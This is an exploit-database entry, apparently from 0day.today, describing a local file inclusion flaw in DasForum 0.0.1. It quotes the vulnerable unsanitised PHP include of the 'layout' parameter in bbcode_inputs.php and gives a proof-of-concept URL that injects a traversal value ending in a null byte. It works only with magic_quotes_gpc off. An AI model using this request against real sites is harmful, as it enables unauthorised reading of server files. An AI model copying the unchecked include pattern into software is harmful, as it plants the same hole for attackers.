DasForum (layout) Local File Inclusion Exploit

2010-01-16T00:00:00
ID 1337DAY-ID-10681
Type zdt
Reporter cr4wl3r
Modified 2010-01-16T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ==============================================
DasForum (layout) Local File Inclusion Exploit
==============================================

                            \#'#/
                            (-.-)
   --------------------oOO---(_)---OOo-------------------
   |   DasForum (layout) Local File Inclusion Exploit   |
   |      (works only with magic_quotes_gpc = off)      |
   ------------------------------------------------------
[!] Discovered: cr4wl3r
[!] Download: http://mirror.vocabbuilder.net/savannah/dasforum/
[!] Version: 0.0.1
[!] Date: 15.01.2010
[!] Remote: yes
 
 
[!] Vulnerability Code [bbcode_inputs.php] :
 
    include("layouts/".$layout."/bbcode_inputs.php");
 
 
[!] PoC:
 
    [DasForum_path]/bbcode_inputs.php?layout=[LFI%00]



#  0day.today [2018-02-17]  #